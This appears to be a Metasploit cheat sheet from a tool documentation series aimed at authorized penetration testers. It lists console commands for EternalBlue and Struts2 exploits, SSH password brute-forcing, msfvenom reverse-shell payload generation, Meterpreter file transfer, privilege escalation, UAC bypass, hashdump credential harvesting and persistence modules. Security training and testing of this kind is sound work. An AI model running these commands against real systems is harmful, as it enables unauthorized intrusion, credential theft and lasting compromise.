Metasploit - Penetration Testing Framework β
Metasploit is a computer security framework that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. It's one of the most popular penetration testing tools and includes a suite of tools for developing and executing exploit code against remote targets.
π― Purpose β
- Vulnerability Validation: Test if systems are vulnerable to specific exploits
- Penetration Testing: Conduct authorized security assessments
- Exploit Development: Create and test custom exploits
- Security Research: Study vulnerabilities and attack techniques
π Basic Usage β
Starting Metasploit β
bash
# Start Metasploit console
msfconsole
# Start with specific database
msfconsole -q
# Load specific resource script
msfconsole -r script.rc
Basic Commands β
bash
# Search for exploits
search type:exploit platform:windows
# Use an exploit
use exploit/windows/smb/ms17_010_eternalblue
# Show exploit options
show options
# Set target
set RHOSTS 192.168.1.100
# Run the exploit
exploit
π§ Core Commands β
Information Gathering β
bash
# Search exploits
search ms17-010
search type:exploit platform:linux
search cve:2021
# Get exploit information
info exploit/windows/smb/ms17_010_eternalblue
# Show available targets
show targets
# Show available payloads
show payloads
Exploit Configuration β
bash
# Set required options
set RHOSTS 192.168.1.0/24
set RHOST 192.168.1.100
set LHOST 192.168.1.10
set LPORT 4444
# Show current settings
show options
# Check if target is vulnerable
check
Payload Management β
bash
# Set payload
set payload windows/meterpreter/reverse_tcp
# Generate standalone payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > shell.exe
# Show payload options
show advanced
π― Common Attack Scenarios β
Windows Exploitation β
bash
# MS17-010 EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
# SMB relay attack
use exploit/windows/smb/smb_relay
set SMBHOST 192.168.1.100
exploit
Linux Exploitation β
bash
# SSH authentication
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.0/24
set USERNAME root
set PASS_FILE /usr/share/wordlists/passwords.txt
run
# Web application attacks
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.1.100
set TARGETURI /struts2-app/
exploit
Web Application Testing β
bash
# Directory traversal
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
run
# SQL injection testing
use auxiliary/scanner/http/sqlmap
set RHOSTS 192.168.1.100
set TARGETURI /login.php
run
π Installation β
Debian/Ubuntu β
bash
# Install from repository
sudo apt update
sudo apt install metasploit-framework
# Initialize database
sudo msfdb init
From Source β
bash
# Install dependencies
sudo apt install git ruby-dev build-essential
# Clone repository
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
gem install bundler
bundle install
Kali Linux β
bash
# Pre-installed, just update
sudo apt update && sudo apt upgrade metasploit-framework
βοΈ Database Management β
Database Operations β
bash
# Check database status
db_status
# Connect to database
db_connect
# Create workspace
workspace -a target_company
# List workspaces
workspace
# Import scan results
db_import nmap_scan.xml
Host and Service Management β
bash
# List discovered hosts
hosts
# List discovered services
services
# Add host manually
hosts -a 192.168.1.100 -o Windows
# Search for specific services
services -p 445
π‘ Meterpreter Commands β
Basic Meterpreter β
bash
# Get system information
sysinfo
# Get current user
getuid
# List processes
ps
# Migrate to another process
migrate 1234
# Get shell
shell
File System Operations β
bash
# Change directory
cd C:\Windows
# List directory
ls
# Download file
download C:\Windows\System32\drivers\etc\hosts
# Upload file
upload payload.exe C:\temp\
# Search for files
search -f *.txt
Privilege Escalation β
bash
# Get system privileges
getsystem
# Load privilege escalation module
use priv
# Bypass UAC
use exploit/windows/local/bypassuac_injection
π§ Advanced Features β
Post-Exploitation Modules β
bash
# Harvest credentials
use post/windows/gather/hashdump
use post/windows/gather/credentials/windows_autologin
# Gather system information
use post/windows/gather/enum_system
use post/linux/gather/enum_system
# Persistence
use exploit/windows/local/persistence
use exploit/linux/local/cron_persistence
Auxiliary Modules β
bash
# Port scanning
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
run
# SMB enumeration
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
# SNMP scanning
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 192.168.1.0/24
run
Resource Scripts β
Create automation scripts:
ruby
# resource_script.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS file:/tmp/targets.txt
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set ExitOnSession false
exploit -j
π¨ Important Notes β
- Legal Authorization: Only use on systems you own or have explicit permission to test
- Responsible Disclosure: Report vulnerabilities through proper channels
- Environmental Impact: Some exploits may cause system instability
- Detection: Modern security solutions may detect Metasploit signatures
- Updates: Keep framework updated for latest exploits and fixes
π Best Practices β
- Scope Definition: Clearly define testing boundaries
- Documentation: Keep detailed logs of all activities
- Cleanup: Remove artifacts after testing
- Reporting: Provide clear, actionable reports
- Training: Continuous learning and skill development
Part of the HackerHub.me tool documentation series